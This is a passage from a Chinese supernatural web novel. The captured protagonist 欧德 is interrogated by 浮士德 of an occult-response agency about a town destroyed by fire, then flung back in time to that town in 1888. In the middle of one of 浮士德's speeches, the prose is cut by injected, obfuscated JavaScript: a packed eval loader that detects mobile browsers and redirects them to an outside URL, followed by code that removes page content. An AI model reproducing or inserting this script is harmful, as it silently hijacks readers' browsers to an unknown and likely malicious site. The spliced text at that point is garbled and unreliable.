趁着对方吃痛僵直,他一下从对方怀中跃下,落地时一把抓下敌人腰间的手枪,也不管这么久过去了自己还会不会用,总之先抬指挑开保险,对准自己手腕间的皮带狠狠扣下扳机—— 他慢了一步。 跟抱着他的人结伴同行的大高个大叫了一声“操”,合身猛扑上来,扭折欧德的手腕瞬间卸下手枪,将他摁倒在地。 “……”欧德一头撞在草地上,痛得闷哼一声,眼中浮现出生理性的眼泪。但他没有停止攻击,抬腿去踹大高个的同时,扯起嗓子冲着教堂的方向大吼,“来人!!来人!!有人要放火烧教堂!!” 一石激起千层浪。 教堂方向瞬间亮起火光,与此同时,原本压向他、打算用身体重量和手臂控制住他的大高个突然不知为什么,看着他的脸傻傻愣住了。 他没有停下来细想这是怎么回事,趁机一把拽下大高个腰间的枪,枪口朝下射断皮带后,立即双腿用力踹开压住他的大高个。 手腕被高温的子弹和后坐力折磨得剧痛无比,欧德顾不上看看伤情,用仅剩的一只活动灵活的手再次冲着脚上的皮带开枪:“——乓!” 皮带断了。 他一口气不敢喘,连滚带爬地起来,向着迅速靠近的教堂火光踉跄奔去:“救命!!救命!!有疯子要杀人——” 3. 第 3 章 “乓。” 一声闷闷的枪响。 欧德的脚步戛然而止,大脑有些空白地低头看向没入自己前腹的子弹,又抬头看向穿着神父服,却冲他举着枪的中年神父,尚未来得及感受到子弹带来的疼痛,便颓然倒地。 再度失去意识前,他透过天旋地转的模糊视线,看见领头的那个中年神父举着火把,用枪口推了推鼻梁上的黑框眼镜。神父不悦地低斥:“谁让你们把面罩摘下来的?!谁给他就绑了两道?看看你们这副中招后的蠢样——” “行了。”那个叼雪茄的男人声音懒洋洋地在他身后响起,“我就是想看看这小子究竟有多少能耐……” · 不知过了多久,欧德再度醒来。 他的头脑昏沉胀痛,像有人往他的脑子里塞了一块秤砣。 他隐约感到自己正在上下颠簸,过了会才意识到自己正躺在一副简易担架上,正被人抬着穿过雾蒙蒙的墓地,走进一条通往地下、长而阴暗的甬道。 这里一切都笼罩在昏暗里,甬道两边的墙上钉着蜡烛灯,绿色的火光荧荧跃动。 偶尔会有一小拨的人佩戴着样式古怪的面具,安静地与他们擦肩而过。 甬道深处时不时会滚出某种沉闷的鼓声,像巨物的咕哝,也有时候是一阵带着窃笑的低语,合着凉风掠过皮肤。 “……!”欧德寒毛竖立,即便如此,头脑依旧昏昏沉沉的,没法清醒过来。他感觉自己像正坐在一叶小舟上,试图拿竹筛子捞水,艰难不说,小舟还时常不听使唤地原地打转。 ‘这群人到底是谁?’他拼命打捞自己破碎的思绪,‘怪物似的面具,绿幽幽的蜡烛……邪.教团体?’ 他知道这种团体在民间还蛮多的,最出名的一个团体叫做“黑色兄弟会”。 他们愚昧无知地信仰一个并不存在的邪神,甚至疯狂到为了邪神去刺杀各国政要——可也不想想,如果邪神真的存在,哪会在乎什么政治不政治? ——我一定是碰上跟黑色兄弟会差不多的邪.教团体了。欧德想,说不准就是黑色兄弟会本尊。 毕竟除了明面上过激到能直接对外宣称对某某国领袖的刺杀负责的黑色兄弟会,他还没听说过哪个邪.教团体能疯狂到敢于当众伪装SAS抓人。 可黑色兄弟会为什么要冒这么大风险,跑来抓他? ……会和他丢失的那七天记忆有关吗? 还有——该死!现在几点了?拍卖会开始了吗?! 紧迫感令欧德突然清醒了几分——也是在这个时候,前进的队伍忽然停了下来。 他们似乎走到了一处十字岔口,刚好有另一队人也走到了这里,双方队伍不得不停下来,分个先后。 双方僵持了片刻,最后是叼雪茄的男人先开了口:“……杵在这里做什么?就算你把眼睛瞪下来,在这里,也是你给我让道。” 对面的人似乎被气得不轻:“现在是这样,再过一段时间可就未必了!你知道你今天搞得这一番大动作,上面绝不会满意——我们本不该在人前抛头露面的,浮士德!” 浮士德回以嗤笑:“不抛头露面怎么办?放任我们这位小朋友到处乱跑?如果他被大衮密教的那帮人先发现怎么办?最后还不是我被叫去收拾烂摊子?” “行了巴尔,做事别这么一板一眼。有点远见行不行?看问题得有远——嘿,你瞧瞧。” “!”闭眼装晕的欧德心跳猛然错漏了一拍,感知到浮士德忽地弯腰凑近,气息几乎打在他的面庞上。 “咱们的小朋友又醒了……”浮士德声音含笑,“多么惊人的耐药性。不过很可惜,亲爱的。我还是需要你继续乖乖睡着,配合一会儿的工作,我可不希望自己的手上再多出几道伤口。” 辛辣的烟雾轻轻喷洒上脸,欧德在挣扎中不甘心地再度落入沉眠。当他重新醒来时,他已不在甬道,而在一间巨大的办公室中。 这里依旧昏暗,只有蜡烛作为光源。大量华贵的金器、镶嵌有宝石的冷武器堆满了整个空间,在烛火下熠熠生辉,散落的金币堆从桌柜一路蔓延到地面上。 一些发光液体正在萃取冷却装置中静静流淌,还有一块古怪钟表,莫名吸引欧德的注意力—— 它像是从著名画作《记忆的永恒》里生掏出来的,呈现出一种融化了的形态,要死不活地耷拉着,挂在一张办公桌的桌角。 昏迷剂的药效彻底褪去了,欧德第一时间想要坐起身:“——嘶!” 他被缠满全身的束缚带拽了回去,与此同时,左手手背传来一阵刺痛。 他错愕地低头,发觉自己的衣服不知何时被人剥得只剩下装,左手上还吊着不知道干什么用的药水,刚刚的挣动扯歪了针头,血液立即顺着橡胶管一路逆流。 “乱动什么?”一道微冷的女声忽然在他身后响起。 惊怒中的欧德一个激灵,猛然回头,就见一个挽着淡金色长发、肤色冷得简直像雪的女人,手中捧着记录板转到他的左手边。 她的五官十分深邃,看起来像是俄罗斯人。配上白大褂、冷漠的神情,看起来简直像尊棱角锋锐的冰雕。 大概是知道醒来的他不会配合,那女人直接将针头拔了,随手在针眼的位置贴上一块方糖大小的白色凝胶物:“检查完了。” “他的数据已经超过了仪器目前能承受的阈值,我得回去调整一下参数。不过就目前来看,他应该还算是个人。” ……‘应该还算是个人’?欧德从没听过这么奇怪的评价。而且,什么数据?什么阈值? 他满腹疑问,但最终只抓住了最关键的来问:“这是哪?!刚刚你们给我吊的那是什么药水?!还有,把我放开!” 他那张总显得冷静理智的脸上破天荒地流露出极度厌恶的神情,仿佛身上缠着的不是干净崭新的束缚带,而是从下水道里捞出来的烂海藻。 房间东边登时传来一声不怎么正经的口哨声:“你真该好好了解一下肉票自我保护指南,小朋友。就你这张脸配上束缚带?愤怒或者宁死不屈绝不是什么好表情。” 欧德倏然回头,恼火地跟束缚带做了会抗争,才得以将视线投向房间的东面。目光甫一投过去,他霎时起了一身鸡皮疙瘩:“——这是什么?!” “如你所见,几枚不重要的监控。” 被称为浮士德的男人半侧着身体,随意靠坐在操作台上。他的背后是密密麻麻、一整面墙的监控镜头,雪茄的烟雾在那些泛绿的镜头前浮动。 他咬着烟,抬手随意冲其中一组镜头挥了挥,含糊地介绍道:“你的母校,密斯卡托尼克大学。还有印象吧?这是东校门,那是图书馆。” “还有你们学校那条大名鼎鼎、凶名在外的看门狗——当年它可是上过报的,因为曾咬死一名心怀不轨、意图潜入你们学校图书馆行窃的歹徒。” “……”欧德一心只惦记着拍卖会的大脑都空白了一下,目光凝固在那串镜头上,半晌才嗓音干哑地说,“这些都是你们为了抓我……?” “在我回答你之前,先由你回答我一个问题吧。”浮士德饶有兴致地看着他,那张半掩半藏在薄薄烟雾中的面孔轮廓十分深邃,带着明显的日耳曼血统特征。 他看起来一点不像个邪教愚民,反倒有种典雅的贵族气质:“你相信神明的存在吗?” “……”欧德挑起视线冷笑,“你考虑过去医院看看精神科医生吗?” 欧德生着一双略微下垂的狗狗眼,平素不带敌意时,总显得无害而纯洁可欺,有时单靠脸就能让想跟他争吵的人变得支支吾吾,一时想不起来自己干什么要发火。 但当他敛起浓黑的眉宇,以敌视的态度面对对手时,那双碧绿色的眼睛藏在在深邃的眉弓骨阴影下,却像极了夜晚游荡在荒原上的野兽。你能从那双眼睛里找到残忍、暴虐、对攻击和杀戮的渴望,却找不到任何与人性相关的东西。 浮士德饶有兴致地扬起眉毛,仔细端详这双眼睛:“懂了。科学主义者,一点不相信怪力乱神。恐怕每一次踏入教堂礼拜时,你都没相信过上帝真实存在吧?但你就没想过——” 他意味深长地说:“之前你试图逃离时被折断的左手、子弹烧灼过的手腕足踝,还有你前腹上的射击伤,是怎么突然痊愈的?我不相信以你的观察能力,会忽略这些细节。” 欧德带着深深的厌恶看着他:“药水的作用吧。之前你们给我吊的那瓶。那是什么?致幻剂?还是说,毒.品?” 哪怕是毒.品他也不在乎了。 他的所有亲人都已经离他远去,如果今晚他再错过拍卖会——哈。 他还有什么好怕的?最糟糕的结局,无非也就是死亡。哪怕死得很难看又怎样?反正他已经不用担心亲人替他收尸时会不会伤心了。 欧德心底流淌着一股毒浆似的怒火,对此时任人鱼肉的自己的、对面前这群蠢货邪教的、对这个操蛋的、恶劣得像个玩笑一样的现实的: “你以为用这种东西对付我,我就会变得顺从?做·梦。”他一字一顿地说。“你们没给我用药时我就不可能配合,现在更不可能。但——” “你们还有机会。” 欧德呼出一口气,神色放缓,同时也放松了因愤怒和攻击欲而紧绷的身体,靠回还算得上舒适的手术椅上:“你们急需我的帮助,不是吗?不然也不至于如此兴师动众。我还愿意配合——只要你们让我现在打一通电话。” ——但愿还能赶上!欧德在心里如此祈求。 可偏偏浮士德没那么好对付:“朋友,相信我。如果可以,我也想满足你这点简单的要求,来换取你的配合——但客观条件并不允许,而你对此一无所知。” 浮士德从操作台上滑跳下来,顺手从桌台上抄起一沓文件,随便挑了张木桌“哗啦”扫开上面价值不菲的金器财宝,一路拖到欧德身边。 他将文件丢上木桌:“你既然拒绝了解真相,那好。我们就用你能理解的方式来谈这件事。看看这些照片,眼熟吗?” 欧德并不想配合邪教分子的要求,但看看东面墙上那些监控,他又很难不担心这帮丧心病狂的疯子会不会绑架他的师长同学,以此威胁。 他压着脾气低头去看:“……这是什么?” 散落在桌上的是一沓照片。照片似乎拍摄了一座经历过火灾、被烧得焦黑的小镇废墟,大量干瘪变形的尸体横呈在画面中,仍保持着生前痛苦尖嚎、双手抠着地面拼命想要爬出火海的姿势。 “捕梦小镇,你忘了?”浮士德生怕欧德看不清似的,体贴地伸手,一张张将那些灰黑干瘪的尸体照片翻给欧德看,期间双眼紧紧盯着欧德,眼睛一眨不眨。 等到最后一张照片翻完,他又抛下了另一份贴满三寸证件照的文件: “6月2日清晨,两名巡逻警在英格兰德文郡的达特区,发现了这座被大火焚烧殆尽的小镇。镇上三百余口人全部死亡,青壮年、老人、孩子……没有一个生还的。——但你猜怎么着?” 浮士德单手撑在那些受害者的证件照上,向欧德附身逼近,轻声细语:“有一个外乡人,不知为何,在5月24号这天突然跨越了大半个英国,从苏格兰千里迢迢地赶来这个小镇。” “并且如此恰巧,他在6月2日这天的凌晨,被镇外公路上的监控镜头捕捉到,从捕梦小镇中走出来。” 浮士德没说这个外乡人是谁,但他那双鹰鹫一样紧盯着欧德的眼睛已经说明了答案。 “……”最糟糕的预感照进了现实,欧德的脸色不可抑制地难看起来,“我不知道——那七天的记忆我忘了。” “忘了?”浮士德挑眉,“什么都不记得?也不记得自己为什么要去?” 这点欧德倒是记得。 他的记忆是从5月24日下午,抵达捕梦小镇的那一刻才开始断片的,而促使他赶去捕梦小镇的事件发生在5月24日的中午。但他并不想将这件事拿出来说: “不记得去的原因了。我只记得神智恢复清醒时,我正一个人走在达特荒原通向附近市镇的公路上,浑身都是腥臭的血污,还有快凝固的淤泥,腰痛得像断过一次。” 浮士德闻声抬头,看向欧德的左手边。 之前那个话少得简直像不存在的俄罗斯女人顶着浮士德默默的注视小半分钟,终于勉为其难地二度开了金口:“他腰没事。脊椎、软组织、神经……都检查过一次,除非他的病灶不在现实层面。——我要把他带去我的实验室进一步检查。” 欧德的身体瞬间绷紧起来,但浮士德以一种打圆场的语气说:“看起来不会危及生命,那就不急。” 他又将视线投回欧德身上,“你不记得去捕梦小镇的原因?我可以提醒你一下。” 浮士德抬手向后打了个响指,那一整面的监控便倏然一黑,紧跟着拼凑出一幅有些模糊的监控画面。 那是一个脏乱狭窄的老旧建筑,歪歪扭扭的墙壁仿佛随时都可能轰然坍塌,随机砸死几只老鼠蜘蛛,再附赠几个贫穷的租客。 这是欧德被银行扫地出门后,跑了不少地方才找到的租屋。 因为房屋老旧,并且据房东说有相当糟糕的传闻、死了不少任租客,这里的租金低得几乎可以算是没有。十来个跟破产后的欧德一样捉襟见肘的租客一起合租在这栋小三层里,其中最让人印象深刻的舍友,就是住在一楼的一位老疯子。 “……”欧德的视线从监控画面上挪开了半秒,又强迫自己看回去,以免在敌人面前露怯。 他知道接下来会发生什么了——监控中这一幕发生时,他就在现场。 “咚!” 一楼104号房的门板被一具苍老的身躯重重撞开:“酒……给我酒……酒!!” 老疯子的乱嚎在几秒钟内唤出了几名住得最近的房客。几个骨瘦如柴的孩子熟门熟路地跑回屋,又拿着老旧的军用水壶出来,可老疯子刚喝了一口壶里的水,就猛地捂住胸口,咳得向侧翻滚,紧跟着口鼻处涌出大股大股黑红色的黏稠血液。 “老天!怎么回事?!”孩子的母亲也跟着跑了出来,尝试急救但无果,“雨果!雨果!去隔壁找房东!问他能不能帮忙叫急救?!” 当名为雨果的少年冲出门时,在场的人心里其实已经清楚,老疯子怕是要没了。这年头叫急救,工薪阶级都未必舍得,更别提是让房东帮忙给一个贫穷且疯癫的老房客叫。 但出乎众人意料的是,数分钟后,房东真的带着一辆乌拉乌拉响的急救车赶了过来,三名急救人员训练有素地合力去抬老疯子—— “不!!不!”老疯子却在这种濒死关头挣扎起来,他疯狂地用脏兮兮的长指甲抓挠周围的人,“我不要离——咳!咳咳!我不离开!放开我,放开——咳!我的孙女,我的孙女还没回来,我要等她——” “你没有孙女啊维克多先生,”那位母亲急得要命,一方面是担心人命,另一方面是不知道这场急救究竟要花掉多少钱,“您又犯疯病了,之前您清醒的时候说过好几回,您没有孙女的,只是一犯疯病您就觉得您当年没跟恋人分开——” “那是谎言!!谎言!”老疯子竟像回光返照似的话语流畅起来,三名急救人员居然也一时按不住他,“她去了捕梦小镇,她在德文郡!但她回不来了——” 老疯子癫狂的神情忽然变得哀切起来,他猛地一把攥住身边急救人员的手腕哀求:“求求你,求求你救救她行不行?她一定是在那个小镇遇到了麻烦——” 雨果难过地哑声说:“但我和妹妹们特地去查过,德文郡根本没有捕梦小镇这么个地方……” “患者表现出强烈的攻击性,疑似精神失常。”医护人员冷静的声音在混乱的局面中凸显得格外清晰,“束缚带呢?去拿束缚带下来。” “……”欧德不自觉地攥紧了手,在老疯子被半绑上担架、满脸血污眼泪地挣扎哭叫时终于忍不住挪开了视线。 浮士德端详着他的神情,抬手止住了画面:“再次目睹这一幕,对你来说还是太过残忍了,对吗?” “那接下来发生的事,就让我简单总结一下吧——你在中途,从二楼自己租住的房间里推门而出,大步走到老疯子身边,答应了老疯子帮忙寻找他孙女的请求,并接过了他手中装着孙女照片的吊坠项链,这位老人才得以安心地跟随医护人员离开。” 浮士德再次向他逼近了寸许,高挑的身躯投落的阴影几乎将欧德笼在黑暗中:“为什么?” “为什么帮他,欧德?” “同类最容易辨识同类的气味。我很清楚,你是一头优秀的政治动物,拥有出色的应急应变能力、随时能将身边的环境变为有利条件的智慧和冷静——当你仍沉浸在祖父的死亡、祖宅的危机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16540168|186626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中自身难保时,你为什么要露面揽下这种多余的、跟你毫无关系、不知道能不能成功、毫无回报的差事?” 欧德的眉梢在浮士德说出“祖父的死亡”、“祖宅的危机”时微颤了两下,意识到敌人在抓捕他前并非对他、包括他的困境一无所知。 他顿时有些狼狈地微微侧过脸颊,避开浮士德那双像是盯上了猎物,要将他剖开般的灰色眼睛:“我的动机与你无关——” “因为这让你想到了你的父母、你的祖父,对吗?”浮士德仿佛没有看到欧德逃避的、几乎有些示弱般的反应,“你想起你的每一个亲人,都是这样被束缚带绑住、被定性为疯子,带离你的视线,然后再也没有回来。” “你就是没办法硬下心肠无视这种事,即使当时的你仍在为祖父的死亡而痛苦、为祖宅的危机焦头烂额。你揽下这档事,说不定还出于自——呃!” 欧德彻底被激怒了,他在极度的愤怒之下猛然起身,被束缚带重新扯回手术椅前,额头狠狠撞上浮士德的右眼,顿时将毫无防备的浮士德撞得向后踉跄,捂住眼睛弓起腰。 俄罗斯女人立即在欧德身后发出一声毫不客气的嘲笑,旋即大步走向办公室外,大概是觉得继续目睹面前的闹剧只是在浪费她宝贵的时间。 浮士德不停抽着气,捂着眼睛扶住桌角:“我只是想问,你救成功了吗?” 欧德冷冰冰地、以一种居上临下般的目光注视有些狼狈的浮士德:“你明知道答案。你说了,小镇里只有我一个人活着走了出来。” 浮士德拿开手,试着睁了一下眼睛,很快又嘶着气重新按回泪眼:“那你为什么没有回头去找?你莫名其妙失去了记忆,难道不好奇?不怀疑?” “我确信我是经历了过于糟糕的事,才激发了大脑的自我防御机制,引起了失忆。”欧德冷冷看他,“换做是你,你会离开拖着半身不遂的身体,重新扎进多半有危险、还不知道危险是什么的地方吗?” 更重要的是,当时的他在头晕目眩中看了一眼手表,发觉已经是6月2日,也就是公务员最后一轮面试的日子了。 为了能够获得工作、获得和银行谈判的这一枚筹码,他来不及细想任何事,就跌跌撞撞地开始向附近的市集赶,但等他几经周折终于赶回伦敦,最后一轮面试的时间,还是错过了。 “你是不是在心里懊恼,‘这真是个糟糕的决定’?”浮士德居然还能在这种情况下笑得出来,“不不不。别这么想。” “这不是冲动,也不是感情用事——你只是在处理你的悲伤,而你现阶段的悲伤反应,是愤怒。” “但——我费那么大周章请你来,不是为了替你做心理疏导的。” 浮士德伸手向后捞了几下,拽了一把木椅坐下:“我是来向你提供工作的。” 欧德倍觉可笑:“邪.教什么时候也能算工作了?” 浮士德耸耸肩,一股蓝紫色的雾气忽然从他的左手手掌下逸散而出。当他再挪开手时,那只被撞得泪流不止、红肿狼狈的眼睛竟已魔法般的恢复如初了: “如果你没有失忆,咱们这场对话会轻松很多。——重新认识一下吧,欧德·道格拉斯先生。” 重新恢复风度的浮士德站起身,典雅又没那么认真地冲着欧德行了个贵族间的礼仪: “让·瓦什隆。代号‘浮士德’,目前就任于GORCC——全称Global Occult Response and Containment Corps(全球超自然应对与遏制部队)。” 他冲着欧德耸耸肩:“GORCC独立于军机五处、六处之外,但在这两个机构里都有相应的保密备案。如果你真的想要更进一步的实证——也许我可以为你引荐首相先生,或者女王陛下?” 浮士德调侃地说:“总不能就连首相先生和女王陛下也是邪.教的一员吧——虽然上下议院开会的议会大厦如果突然倒了,或许可以剿灭四五个邪.教教团。” 他没给欧德反应的机会,神色一敛后快速地沉声说:“我说了,我大费周章请你来,是为了向你提供工作的。你就没想过,为什么我的手下死前手边只有一本写着你名字的记事本?” 一张照片被浮士德从他的西装胸前口袋里夹出,按上木桌:“看看这张脸。眼熟吗?” 欧德的大脑还在有些慢半拍地消化浮士德扔出的信息,下意识地低头:“——我见过他,在一轮面试的时候。” “他就是在那时候发现你的——发现你有远超于常人的……”浮士德干咂吧了一下嘴,斟酌着字眼说,“魅力值。” “这种程度的魅力值可能会对正常人造成一定程度上的精神污染,如果再严重一点,甚至会将人扭曲成怪物。” “——字面意义上的那种怪物,身上多长几条触手或者眼睛的那种。” “……”欧德的心刚摇摆着有些倒向浮士德的说辞,闻言顿时又掰了回来,“我怎么没见钱宁长出什么多余的东西呢?他甚至不愿借给我贷款,还得我反复游说。” “——这情况确实挺少见的,但在刚刚的逃跑尝试中,你不是已经在负责押送你的那两个倒霉蛋身上试过你这项特殊的能力了吗?”浮士德又点燃了第二根雪茄,“不然你以为一个饱经训练的特种兵,是怎么打到一半盯着你犯迷糊的?我只能推测,你的魅力值或许对实力越强的人,影响效果越大。” “就像我,这会儿就很想上你。” 欧德:“……” 欧德:“…………你说什么?” 浮士德吹出一口烟:“别担心,我的性向很正常,我有我的爱人。但你,就得好好考虑一下了。” “你以为我那位手下记下你的名字是因为什么?为了向我举荐优秀人才?不。” “他是一名真正的、来自邪.教的卧底,他把那本笔记带在身边,是想要抓走你,作为献给他神明的祭品。” “但这,这只是一碟开胃菜。” “有这样的魅力值,日后你遇到的危险,只会一次比一次更加致命。” “加入GORCC,我们可以训练你,让你拥有自保的能力。你还想要什么?工作?公务员的编制?都可以。包括你心心念念的祖宅,我可以掏自己的腰包,出全资替你买下来。” “而且,”浮士德拿下烟,以前所未有的认真深深看了欧德一眼,“我可以向你发誓,我会竭尽全力保护每一个自己人——只要你不丢失本心。” “……”欧德不得不迫使自己挪开视线,去看点别的什么东西,才能抵抗得住浮士德提出的有关帮忙买下祖宅的诱惑。 即便理智在警告他“这人只是说得好听,根本没有出示任何确凿的证据能证明他的身份”,他还是升起一股“先答应再说”的冲动。 欧德的呼吸微微急促起来,摇曳不定的目光本能地被表示时间的那块扭曲钟表吸引住。本想看看现在几点、他还有多少权衡利弊的时间,但下一秒:“……喂。那边那块钟是怎么回事?” “哦,是说那块看起来像要融化的钟吗?”浮士德没有跟随欧德的目光回头,他做完许诺,就收起了那只出现了短短几秒的严肃,随意地夹着烟说: “从克塔尼德手里捞回来的好东西。它能检测周围的时间乱流,如果有人要被扯进乱流中,他眼中看到的指针就会乱——” “它在往回倒。”欧德紧紧盯着那块从慢到快,逆向旋转的钟表,打断浮士德的话。 浮士德微微一愣,回头看了眼钟表,又猛地回头看向欧德。下一秒猛扑而来,一巴掌拍开了手术台上的束缚开关,另一只手探向腰间拽下手枪,连烟头因此烫上手指都顾不上管。 他没头没脑地将手枪强行塞进欧德的手里:“抓紧!我说不想死就抓紧——” 最后一个“它”字没能落进欧德的耳中。 一种像是被丢进绞肉机切割般的痛楚降临在欧德的身上——欧德简直感觉自己的灵魂也在跟着疼痛。 他的眼前一花,再下一秒,忽地向下坠落,坠进一辆装满金色稻草的牛车中。 牛车在葱郁的密林中穿行,蹄声嘚嘚,踩得碎石滚动。 “嘿!朋友,”前座的车夫一边催着牛前进,一边在山路颠簸中乐呵呵地回头看向坐在车板上、神色凝固住了的欧德,“能问问吗,你到底为什么要来咱们捕梦小镇?” 4. 第 4 章 “……”欧德半晌没能说得出话。 他在牛车上颠簸了几秒,猛然一拍车侧的挡板:“停车!我要下去!” “?”车夫被他吓了一跳,脸上那带着点腼腆期慕的笑容顿时变得尴尬。他一时有些手忙脚乱:“是我问得多了,我就想……唉,我不问了。” 小伙懊恼地又偷瞟了一眼欧德神色冷峻的面庞,赶紧回身坐正,并不知道欧德的突然反常,并非由于他的八卦,而是因为—— ‘捕梦小镇。’欧德的视线滑过周遭的一切,无声地在口中念着这个地名,心脏跳得又重又快,‘这里是捕梦小镇?可——这里不是应该在6月2号的清晨就已经被焚毁了吗?’ ‘怎么回事?时间真的逆转了?还是……我因为伤口疼晕过去了,他们加大了药量,我现在是在做梦,梦到了我失去的那段记忆?’ 欧德下意识地抬手想拍拍自己的脸颊,但右手刚动,就听“咔哒”一声轻响,感受到了某种冷硬的东西正被自己握在掌心中。 “……”他缓缓低下头,看清了那样东西—— 是枪。 那把浮士德塞进他手里的手.枪。 “什么声音?”前座的车夫困惑发问。 欧德抓着枪的手指慢慢收紧,仿佛攥住了他在这忽然变得无法理解、魔幻混乱的世界里唯一的可靠和安全感:“没什么,鞋底的铆钉不小心撞上了车板,还好,没留印子。” 他迅速解开西装的纽扣,将手枪藏进宽大的内口袋里,并在这短短的几秒中想明白了接下来的计划: 不论这里是梦境,还是现实,他都得先顺着走下去,才能弄明白后续的真相。 ……又或者。 他突然想。 如果这真的是现实……浮士德说得都是真的,他遇上了时间倒流……那现在,是不是还没到6月2日? 他是不是可以立刻下车,赶回伦敦,和钱宁敲定贷款事宜? 他甚至来得及取回祖父的遗体、安排好下葬事宜,再去参加6月2日的最后一场公务员面试! 欧德无法抑制地亢奋起来,但当他张嘴想要再次向车夫说出停车请求时,左手忽地传来一阵被细铁丝厮磨般的疼痛感。他低头看去,就瞧见那根老疯子交给他的吊坠项链在他指尖缠绕了几道,老旧带锈的银色相片坠子在他手掌间晃动。 老疯子那双绝望中带着希冀的眼睛在他脑海中一闪而过,他张开的嘴又僵住了。一股愧疚和羞惭涌上心头: 他回去了,那个孩子怎么办?他许下的承诺怎么办? 倘若这真是时间重来,那么或许这就是救下那个孩子——甚至是救下全镇人的唯一机会,因为6月2日时,这座小镇就将被烧得只剩布满焦尸的废墟了。 欧德沉浸在这样浑浑噩噩的思考中,等他一头撞在树上,猛的回过神时,他才发觉自己竟在徘徊纠结中,仍是凭本能的渴望下了车,走到了密林边缘。 前方是一片绿色的田野。站在林边,他能看见最近的市镇就在田野的另一端,只要赶过去,一路辗转回伦敦,就能接回祖父,就能赶得上最后一轮面试,就会踏上他人生的正轨。 洒满阳光的田野距离他仅一步之遥,可他停在林荫与阳光交织的光影里,却踟蹰了。 他回过头,仿佛想越过密不透风的深林,看见小镇上那个素未谋面、也不知是否还活着的孩子;又转回头,看向前方光明坦荡的公路大道。 剧烈的挣扎令他的胸膛急促地起伏起来,有那么一刻,他内心的渴求压倒了对道德的坚持,促使他抬手触摸向面前的阳光—— “倏……” 一阵极轻的风声响过,下一秒,属于街道的嘈杂声骤然从四面八方涌来,包围了他。 “?!”欧德错愕地看向周围突变的环境,发觉自己不知为何被传送进了一个封闭式的后院。 院子是由高高的石墙包围起来的,前方连接着一座维多利亚式建筑。建筑后门上挂一个木招牌,写着“捕梦旅馆”。 “怎么……”欧德因这突变从情绪中抽离出来,条件反射地抬手虚压住胸口的手枪。 坚硬的枪身给了他笃实的底气,思忖片刻后,他却没有立即走进旅馆,反倒转身,从后院通往外界的木扉门处走了出去。 旅馆的后院连通着一条满是泥泞的长街,到处都是灰扑扑的旧式建筑。 几辆旧式马车在街上哒哒地前行,车轮溅起小片泥水。 许多没精打采的人倚靠在门廊下的人抽着烟,还有不少酒鬼醉醺醺地倒在泥地里。 ——建筑风格也就算了,这些人的衣着打扮,看起来可不像1980年的人。 欧德皱着眉快步穿过长街,一路向着远方的密林走去。他有个猜想要验证: 为什么当他伸手出密林时,却被传送了旅馆后院? 倘若他眼前的一切都是真实的,不是梦,这是否意味着整座捕梦小镇正被某种……魔法结界包围着(科学主义的欧德在心里艰难地吐出这句话),不容许任何人离开? ……如果是,那这魔法是谁下的?又为了什么? 怀揣着重重思虑,他走了将近二十分钟。终于抵达密林边缘时,已经气喘吁吁,脚掌被皮鞋磨得生疼。 他抬头看向远方的田野,此时,先前看到的阳光已经染上了黄昏的红,湛蓝的天被染得紫红一片。 他稳住呼吸,再度冲着林外的霞光伸手—— “倏……” 熟悉的风声,他再度回到了旅馆后院。 “……”欧德的心跳快了起来。 他忽然有种错觉,仿佛自己正站在一个全然陌生的世界之前,那世界险恶而面容可怖,此时正虎视眈眈地向他伸来垂涎的魔爪。 但紧跟着,他又浑身冰冷地意识到—— 他并不是“站在那个世界之前”,而是早已踏入其中。 上一轮他不知做了什么,从捕梦小镇成功逃脱,但那个世界并没有放过他。它将他再度拖回了捕梦小镇,仿佛他在这里和其他镇民一起死去,才是命运应有的轨迹。 ——但他要顺应命运吗?要顺遂对方的意愿吗? “不,可,能。”他紧盯着那扇旅馆的后门,一字一顿地说,绿色的眼睛里像是燃着愤怒灼烧成的火。 他会活下去。活到大火之后。 并且这一次,他会找到那个孩子,也会赶上最后一场面试。 他会接回祖父,他会和钱宁达成合作。如果这世上真有命运—— 他必定是获得最终胜利的那一方。 欧德渐渐冷静下来了,他站直身体,平稳呼吸,重新整理了一下自己的衣冠。将藏在胸前口袋内的手枪取出,上膛,就这么开着保险,将冰冷的枪膛顺着劲瘦的腰际,塞进更方便抽取的腰侧皮带里。 随后,抬手推开旅馆后门,一步跨入。 “Alas……my love, you do me wrong……”慢曲调的民谣在旅馆一楼的集体餐厅中流淌。 欧德闻到面包与麦芽酒的香气,混杂些许海风的咸湿,越过旅馆前窗,他能望见旅馆南面所邻的港口,还有远方无垠的黑海。 “哦,多么俊俏的面庞!”旅馆的老板娘眼睛发亮地从柜台后站起来,“需要住宿或者晚餐吗,亲爱的?” 穷穷的欧德摸摸自己兜里的一便士硬币,静默了三秒,随后面不改色地晃到柜台前,单臂搭上柜台,刚准备开始自己的表演,就见柜台边随意摊放着一份报纸,上面的头版头条用放大标粗的字体写着“开膛手杰克再犯案!!苏格兰场毫无作为”:“……呃,这是?” “哦!那是今天的报纸。”老板娘一看长得好看的人就倍觉亲切,热情又难掩忧虑地说,“很可怕,对吧?这已经是那个疯子犯下的第三起案件了……这次他甚至一次性杀死了两个可怜的女人!我知道街上有些没用、但又想展现自己男人气概的蠢货会宣称这些妓女死得活该,但——” “今天的、报纸?”欧德紧盯着报纸上“1888.10.7”的标注日期,重复了一遍老板娘的话。 如果这份报纸是今天的,那岂不是意味着他现在并不在1980年5月末的捕梦小镇,而在1888年? 怎么会出现这种情况? 但困惑归困惑,并不影响他的表演。 欧德随手丢开报纸,重新斜靠在柜台边,姿态随性,带着几分刚吵完架似的恼火:“真希望那什么杰克的能突然跑到我家去,好好教育教育那个老头子——算了。给我一个房间,再送一份晚餐,我要最好的屋——哦该死。” 他将公子哥离家出走后兜里没钱的懊恼演得淋漓尽致:“跟那老家伙吵了一顿,完全忘记带钱再冲出门了——嘿!”他顿了一下才道,“我能用这块手表抵债吗?” 能被银行允许带出老宅的手表当然不贵。它连牌子都没有,是对名牌不太了解的父亲在出差时给母亲带的,比起经济价值,承载得更多的是回忆。 